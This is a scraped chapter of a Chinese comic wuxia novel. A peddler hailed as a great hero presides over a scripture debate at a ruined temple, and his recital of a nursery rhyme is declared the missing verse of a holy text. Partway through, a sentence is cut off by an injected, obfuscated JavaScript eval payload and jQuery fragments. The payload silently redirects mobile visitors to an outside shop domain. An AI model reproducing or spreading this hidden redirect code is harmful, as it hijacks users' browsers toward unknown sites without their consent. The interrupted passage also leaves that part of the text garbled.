文趣网 > 其他小说 > 破庙记 > 5. 灵前论武会 儿歌竟成经
    话说贾三当了这“大侠”许久,已经无力再与人辩解。

    他干脆破罐子破摔,该吃吃,该睡睡,该蹲墙根还是蹲墙根。只是每次蹲之前,都要先让铜锁去菜地那边望一圈,确认阿福不在。

    这一日,赵雄又来了。

    这回来的不止赵雄,还有十六名金刀门弟子,四匹马,两辆马车。马车上装的是香烛、供果、黄缎、旗幡,还有一块新做的匾,蒙着红绸,不知上面写的什么。赵雄见了贾三,抱拳便道:“前辈,三日后乃是灵前论武大会,各派掌门齐聚灵前坪,共研《太虚真经》奥义。此等盛事,若无前辈到场,便如天无日月。请前辈务必赏光。”

    贾三正蹲在廊下啃一只梨,听见“论武”二字,差点把梨核吞下去。

    “什么论武大会?我说了我不去——”

    “前辈过谦了。”赵雄笑眯眯地递上一封帖子。帖子是烫金面的,展开来,里面用工整的馆阁体写着:“谨择甲子年七月廿二日,于灵前坪恭迎贾不假大侠法驾,共研太虚真经第一章第六句之奥义。届时武林同道咸集,香花铺道,鼓乐齐鸣。伏惟珍重,勿负天下仰望之心。”

    贾三看完,其实他只认得一个“贾”字,抬头问道:“什么是灵前坪?”

    “便是前辈当日在破庙前歇脚的那块空地。那两位前辈高人殒命之所,如今已被武林盟辟为圣地,取名‘灵前坪’。”

    贾三手里的梨掉了。

    且说七月廿二这日,天还没亮,灵前坪上已是人山人海。

    贾三坐在一顶八抬大轿里,轿帘低垂,看不见外头,只听见外头的声音。人声、马声、锣鼓声、鞭炮声,混在一处,像是全镇的庙会都搬到了这座荒山头上。他自然不知道,赵雄已派人事先将归真山庄里供着的那根扁担请了出来,由四名金刀门弟子抬着,走在他轿前,作为“贾大侠信物”开道。

    轿子停了。轿帘掀开,贾三探出头来。

    他看见的还是那座破庙,山门歪斜,神像塌了半边,门口那尊石敢当被人扶正了些,但依旧是一副随时要倒的模样。庙门上刷了一道新漆,左右悬一副新联:

    “此处无佛,莫求签;心中有鬼,才上香。”

    贾三不识字,只觉得这对联比上回看到的那副残的亮堂些。旁边温伯安低声告诉他写的是什么,他听了默然片刻,觉着这话好生不客气,谁家门上贴对联,骂的是上门的人?可转念一想,自己只是个被架上轿的货郎,又不是这庙里的菩萨,挨骂也轮不到他。便低头整了整腰带,准备下轿。

    可庙前那块空地,已完全不是当初的模样了。当日贾三在这里被三四十号人围着磕头时,地上还只有泥水和血迹。如今泥地上搭起了一座高台,三丈见方,铺着大红猩猩毡,台上设一张紫檀供桌,桌上供着那块刻了个歪歪扭扭“愁”字的玉佩,正是贾三从黑衣人身上摘下来的那块。玉佩前头立着一块乌木牌位,上书“故大侠铁掌断魂孙公之位”。

    台下黑压压一片人头,少说也有四五百人。有道士,有僧人,有叫花子模样的,有穿着团花锦袍的。有人盘腿坐在蒲团上,有人靠着树干站着,还有人爬到破庙屋顶上,两腿悬空,嗑着瓜子往下看。卖炊饼的、卖狗皮膏药的、卖跌打药的、卖大力丸的,挑着担子在人群里穿梭吆喝,比镇上逢五的集市还热闹。一个卖梨膏糖的老头扯着嗓子喊:“贾大侠亲口尝过的梨膏糖——润肺止咳,兼通任督二脉——”贾三听了,心下自思:他这辈子连见都没见过梨膏糖。

    他从轿帘缝里偷眼望去,还看见了不少熟人。

    左手前排是谢无畏,灵蛇岛岛主,上回在归真山庄论道时和白不群打了一架的那位秃顶壮汉。今日他穿了一身崭新的紫酱团花袍,腰间系一条黄澄澄的铜钉带,只是不知为何鼻梁上多了一道结痂的抓痕,身边也没有那位“太虚夫人”的影子。关于那抓痕,事后山庄的仆妇们传出几句闲话,说谢岛主回去后把“太虚养生枕”的构想跟夫人提了提,夫人便赐了他一手。此系后话,不提。

    右手前排是白不群,飞鱼庄庄主。他今日披了件鹤氅,手里还是摇着那柄折扇,细看就能发现扇骨上那道裂缝还在,只是用金漆描了一道线盖住了。两人中间隔着七八个人,谁也不看谁。

    再往后是青松真人,依旧闭着眼,不知是入定还是又睡着了。他身后站着个小徒弟,怀里抱着一只木匣,据说里面装的是青霞观祖传的一本《太虚真经》手抄本,是三代祖师花了二十年从各处搜罗来的残篇拼凑而成,其中有一半是青松真人自己默写的。

    贾三还在人群里看见了一个高大的身影,站在最末排,双手抱胸,眉头紧蹙。是苏牧羊。那日他到归真山庄送了三碗酒,一言不发便走了。今日他也来了,依然站在人群最外头,像是随时准备离开。

    铜锁也跟来了。他不看高台,不看各位掌门,只远远站在破庙侧门外一棵老槐树的阴影里,手里端着一只茶盘,茶盘上的盖碗还是温的,他以茶僮的身份随行,方便在山庄以外的地方,也离那块玉佩近一些。

    至于了尘,没人记得他。这破庙本就是他的住处,众人来了,他便抱着草席挪到山门后头去睡。此刻他正蹲在石敢当旁边,抓着一把不知从哪里捡来的南瓜籽,嗑得正香。

    一时贾三被请上高台,在主位落座。他面前摆着一盏茶,旁边搁着那根他挑了半辈子的扁担,扁担被人用黄缎子垫着,郑重其事地供在案头。他看了扁担一眼,觉得它比自己气派多了。茶是铜锁端上来的,贾三端起盖碗正要喝,拿起盖子一看,茶汤表面沉着些黑色碎末,倒不是茶叶,看形状像是锅底灰。他抬头看铜锁,铜锁已经退到台下去了,垂着眼,看都不看他。

    他放下茶碗,没喝。

    只听“当”的一声锣响,灵前论武大会正式开场。

    首先是祭灵。赵雄主祭,温伯安读祭文。祭文是用骈四俪六写的,大意是:黑白二位前辈虽同归于尽,然其精神不朽、英灵不昧,于冥冥之中指引后人寻得了失传已久的《太虚真经》,功在当代,利在千秋。临了还说了一句“灵前论武,当以文论,不以武争。以武争者,是亵渎先烈”。

    贾三听了,心想这倒是句人话。以文论武好,动嘴皮子总比动手强。然而他马上就会知道,在这假江湖里,动嘴皮子比动手更可怕。

    接下来是演武。各派弟子轮番上台,每人都将自己从《太虚真经》前六句中悟出的招式打出来,由座上的掌门品评,最后由贾大侠裁夺。各派悟出来的招式不出剑法、拳法、腿法、拂尘,统统冠以“太虚”二字。

    贾三看着台上刀光剑影,只觉得眼花。他不懂武功,看不出门道,只觉得这些人的架势比他村里耍把式的王瘸子强些,但强得有限。

    正看到兴头上,忽见谢无畏站起来,对着白不群的方向朗声道:“白庄主,上次在归真山庄,你我推演到第三十七招便收了手。今日当着贾大侠的面,不如把三十八招往后一并补上,也好请大侠裁夺,到底谁才是正经的太虚传人?”

    白不群摇着扇子站起来,笑容可掬:“谢岛主有此雅兴,白某奉陪。只不过今日是灵前论武,不是灵前斗殴。谢岛主若真想分个高下,不妨换个法子。”

    “什么法子?”

    “飞鱼庄与灵蛇岛,各出一百人,按《太虚真经》所悟合演一场。不以兵刃见血,只比阵法调度,看哪家的阵势更合经义,便是谁家得了太虚的正脉。”

    谢无畏愣了一瞬。他灵蛇岛是江湖帮会,门下弟子个个刀口舔血,论阵法调度哪里比得过飞鱼庄那群整日在庄里操演队列的教头?这一招不轻不重,刚好打到他的短处。可在座的都是掌门,贾大侠也在上头坐着,他若退缩,便等于认输。

    “好。我灵蛇岛应战。”

    这便是“灵前演阵”的开端。彼时谁也没有料到,这场看似文雅的演阵,会在短短数月间蔓延成一场席卷数十个门派的帮会械斗,死伤远超前朝任何一次武林争霸。此系后话,暂且不提。

    演武毕,便是论经。论经才是今日的正题。温伯安清了清嗓子,对着台下数百人朗声道:“诸位同道——太虚真经,自贾大侠于破庙中携出,已为天下武人共仰。今日论经,所论者,乃是真经第一章第六句。这一句,贾大侠当日曾在破庙中亲自诵读,在座若有幸聆者,当知其字字珠玑,句句玄机。今日便请诸位各抒己见,共研此句之真义,最后由贾大侠亲自裁夺。”

    台下掌声雷动。

    贾三坐在太师椅上,手心里全是汗。他不记得那第一章第六句是什么,他连第一章总共几句都不知道。他只知道那纸上写了一句“吃葡萄不吐葡萄皮”,可眼前这阵仗,他若说“吃葡萄”云云,怕是要出事。

    “贫道以为,”青松真人率先站了起来,拂尘一摆,朗声道,“‘名可名,非常名’这六个字,是整部《太虚真经》的枢机所在。‘名可名’——可以命名的名,不是永恒的名。这是太虚道尊在告诫我们:天下武学之名,皆是暂借的,皆是权宜的。‘少林’非少林,‘武当’非武当,‘峨眉’亦非峨眉——”说到此处,他忽然顿了一下,“唯独‘太虚’二字,因为是‘非常名’,所以才是‘真名’。”

    台下嗡嗡一片,有人点头,有人皱眉,有人捂着嘴不知是若有所思还是忍笑。

    “道长的意思是‘名’不是真‘名’,而太虚才是真‘名’。然而这并非理当如此,”谢无畏立刻站起来反驳,“按经文第一章第三句解,‘无名天地之始’,天地之始,本没有名,有了名才有了万物。那么太虚道尊说‘名可名非常名’,是说连‘太虚’这个名也是‘非常’的,是权宜的,是不可执著的。那么,‘太虚’也不可执著,岂不是经文本身推翻了灵蛇岛奉太虚之名的根基?”

    话音一落,台下一片哗然。灵蛇岛的弟子们面面相觑,有人高声嚷道:“掌门您说什么呢?”谢无畏自己也有些发懵,他只是灵机一动想驳倒青松真人,没想到连自己的家底也一道掀翻了。

    “非也非也。”白不群摇着扇子站起来,“谢岛主只解了一层,未解二层。‘名可名非常名’既说名非常,又说名可名。可名的,是权宜之名;常的,是不名之名。飞鱼庄所奉的,正是这不名之名——不立文字,不设牌位,不排座次,只在江湖上低调行事——”

    “低调?”人群中一个粗豪的声音打断了他,“白庄主,你飞鱼庄上个月不是刚给自己立了三块碑吗?一块记庄史,一块记庄规,一块记白庄主你个人的功德,听说那碑文刻的就是《太虚真经》第一章全文?”

    白不群的扇子顿了一下,旋即笑容不变:“刻经于石,是为了让往来香客瞻仰,非为飞鱼庄立名。”

    “那碑上落款为何写的是‘飞鱼庄庄主白不群沐手敬书’?”

    白不群的扇子停了。

    台下已经笑成了一片,连贾三都忍不住咧了咧嘴。他赶紧收住,做大侠的不好跟底下这般人一般见识。但他发现没有人看他,所有人都在看白不群和谢无畏,看这两个人如何被自己方才还奉若神明的经义架在火上烤。

    论经会从辰时论到午时,从午时论到申时。几十位掌门轮番上场,引经据典,各执一词,争到最后,已分不清谁是谁非。有的说经文原意是“无”,人人都该回家种地;有的说经文原意是“有”,各派应当合并起来成立“太虚总门”;还有的根本说不出个子丑寅卯,只是借机骂一骂仇家,骂完还要加一句“此乃经义所示”。

    贾三在上面听着,脑子里嗡嗡作响。这些人说的话,每一个字他都能听懂,但连在一起他一个字也听不懂。他只隐约觉着,这些人在做一件他见过很多次的事。在集市上,用许多堂皇的辞令说服买家那匹瘦马其实比壮牛值钱。只不过今日他们卖的,是六个字。

    就在此时,不知是谁喊了一句:“请贾大侠裁夺!贾大侠是当世唯一的真经传人,他的判断,就是定论!”

    全场静了下来。

    几百双眼睛齐刷刷地转向高台。

    贾三坐在那里,看着台下黑压压的人头,和更远处渐渐暗下来的天色。他张了张嘴,想说“我不是”,又想说“我不知道”,但他知道这两句话都没有人会听。他忽然觉得很累。

    他站起来,走到高台边缘。台下的人仰着脸望着他,似一群等着喂食的鸟。

    他沉默了许久。

    然后他开口了,声音不大,却清清楚楚。

    “当日破庙里,”他说,“我从那个白衣人身上摸出一张纸。纸上写的,就是你们说的这个什么真经。那张纸,我本来要扔了擦屁股用的。”

    台下一片寂静。温伯安的笔顿在半空。铜锁从茶盘后面抬起了眼。

    “那纸上写的是——”贾三咽了口唾沫,像是豁出去了,“道可道,非常道。下一句是——吃葡萄不吐葡萄皮儿。”

    他的声音在寂静里飘出去很远。灵前坪的秋风把它带到破庙的檐角,带到了尘嗑瓜子的手边,带过苏牧羊

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830794|211319||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    紧锁的眉峰。

    然后他闭上嘴,等着。等着这套从村口老乞丐嘴里听来的顺口溜捅破天。

    台下的几百张脸怔怔地望着他。风把供桌上的香灰吹散了一缕,飘过他攥紧的拳头。没有一个人发笑。没有人交头接耳,没有人露出困惑的表情。他们只是在等,等一个理解这些字的正确方式。就像方才等青松真人解经、等谢无畏推演拳法时一模一样。

    贾三张了张嘴,想喊——顺着经文解啊,你们怎么不解了?可他什么也没说出口。他发现自己已经知道答案了。

    温伯安率先打破了沉默。他合上《归真日录》,声音发颤:“葡萄者,太虚之果也。皮者,表象也。吃葡萄不吐葡萄皮,是教人参透名相,直契本真。这是我平生所见对前六句最精妙的注脚。”

    他放下笔,站起来,整了整衣冠,向着贾三的方向跪了下去:“太虚真经第一章,共计六句,今日,全了。”

    人群这才像决堤一般,轰然涌了过来。有人跪下磕头,有人放声大哭,有人当即盘坐在地闭上双眼说是要“入定参悟”,有人冲到谢无畏跟前问“灵蛇岛还收徒不收”。谢无畏没有理那人,他站在原地反复念着“吃葡萄不吐葡萄皮”,念到第三遍时忽然仰天大笑三声,说“我悟了”,便大踏步往山下走去,连弟子都忘了招呼。

    白不群也起身离席。扇子的裂缝在指尖无声地又裂深了一点,他浑然不觉。飞鱼庄的弟子在后面喊他,他头也不回。

    没有人注意到,人群最外圈有一个穿灰布袍的中年人,自始至终没有鼓掌,没有下跪,没有哭喊,也没有入定。苏牧羊只是立在秋风里,眉头拧成一个疙瘩,把方才的一切看得清清楚楚。

    “他刚才唱儿歌,”他低声对身边的弟子说,“你们听清楚了没有?那是儿歌。”

    弟子不敢接话,只低着头假装没听见。

    苏牧羊不再多言,转身往山下走去。弟子抱着剑匣跟在他身后,走了几步,回头又看了一眼高台,台前跪满了人,台中央孤零零地站着一个穿月白绸衫的货郎。他摊着手,嘴唇动了一下,不知是说了句什么,还是只是被风吹干了嘴唇。

    那日傍晚,赵雄站在高台上宣布:“灵前论武大会,圆满功成。自今日起,《太虚真经》第一章全六句,定稿行世。贾大侠口述真经,功在千秋,当受天下武人一拜。”

    台下黑压压跪倒一片。

    贾三站在人群中央,看着这一切,忽然想起一个词。这个词是他小时候在村里听一个说书先生讲的。那说书先生讲了个故事,说的是古时候有一个傻子,被一群顽童架上戏台,往他头上扣了顶纸做的皇冠,往他手里塞了根草编的权杖,然后齐齐跪下来喊“万岁万岁万万岁”。那傻子站在戏台上,先是害怕,然后是不解,最后他信了,他真以为自己当皇帝了。

    贾三那时觉得那傻子真是个傻子。此刻他站在灵前坪的高台上,手里握着那根被人用黄缎子供起来的扁担,忽然不太确定自己有没有资格嘲笑那时候听故事会发笑的自己了。

    他低头看了看手里的扁担。磨得发亮的竹皮上,不知被谁用金漆描了一圈花纹。他拿指甲刮了一下,金漆脱了一小块,露出底下一个歪歪扭扭的“贾”字。那是他十年前自己刻上去的,在赶集的路上,用一枚锈铁钉刻的,为的是跟别人的扁担分清,不至于在集上拿混。那日他把扁担随手靠在一家茶馆门柱旁,进去要了碗茶。出来时看见邻村的货郎正在翻自己的担子,说老周的扁担上也刻了个字,“周”字,不过是用刀尖剔的,比他写的清秀些。他拿过来掂了掂,觉着不如自己这根削得趁手。

    那是他的扁担。不是神兵,不是打狗棒,不是太虚信物,是他挑了十年的扁担。

    可过了今天,它已经不是他的了。

    夕阳西沉,人潮渐散。灵前坪上满地是瓜子壳、梨核、踩烂的烧饼、撕碎的赌券。几个叫花子在人群散去后从草丛里钻出来,翻捡着地上的残食。一个断了腿的老叫花捡到半只被人咬了一口便扔掉的烧鸡,高兴得直念佛。

    破庙的山门前,了尘把最后一把南瓜籽嗑完,拍了拍手上的碎屑,站起来伸了个懒腰。他歪着头看了那副新漆的对联一眼,又看了远处正在被众人簇拥着往轿子里塞的贾三一眼,忽然咧开嘴笑了。

    “假作真来真亦假,”他自言自语地念了一句,然后从袖子里摸出半块霉饼,对着石敢当比划了一下,“馒头硬了当砖瓦。老石,你吃不吃?”

    石敢当一动不动。被金漆描过的石面上落了一层薄薄的灰,那是今日五百人在它面前跪过、哭过、吵过之后扬起来的尘土,如今落定,将它裹回了金漆之下的旧痕里。

    了尘也不在意,把霉饼掰成两半,一半搁在石敢当脚边,一半塞进自己嘴里,哼着不知名的小调,转身回庙里去了。

    而贾三,被塞进八抬大轿,轿帘落下时,他透过帘缝看到了一幕,破庙后面的山坡上,不知什么时候多了一群孩子。他们排成一排,拍着手,跳着脚,正唱着一首歌谣。那歌谣,贾三从未听过,他不知道那是谁编的,没有人知道是谁编的。也许是钱四海找说书先生写的词,也许只是哪个孩子随口胡诌,一传十十传百,从灵前坪传到了山坡上,从山坡上传到了山下的镇子里。那些孩子拍着手,扯着嗓子唱:

    假江湖,真大侠。

    真大侠,贾不假。

    贾不假,卖胭脂。

    胭脂红,扁担空。

    扁担空,打天下。

    打天下,一场梦。

    一场梦,谁人醒——

    破庙门前草青青。

    贾三在轿子里听着这首歌,轿帘低垂,看不见那些孩子的脸。轿身晃了一下,起轿了。歌声渐渐远了,被马蹄声和轿夫的脚步声盖了过去。

    他在黑暗里闭上眼,不知道这首不知何人所编的歌谣,将在数日之内传遍方圆百里的集市、茶馆、渡口,被不知多少孩童拍着手传唱,传到他再也无法把它收回去的地方。

    ——

    附:《太虚真经》第一章(武林盟核定本)

    道可道,非常道;名可名,非常名。

    无名,天地之始;有名,万物之母。

    故常无欲,以观其妙;常有欲,以观其徼。

    此两者,同出而异名,同谓之玄。

    玄之又玄,众妙之门。

    吃葡萄不吐葡萄皮。

    武林盟文华堂核定甲子年七月廿二日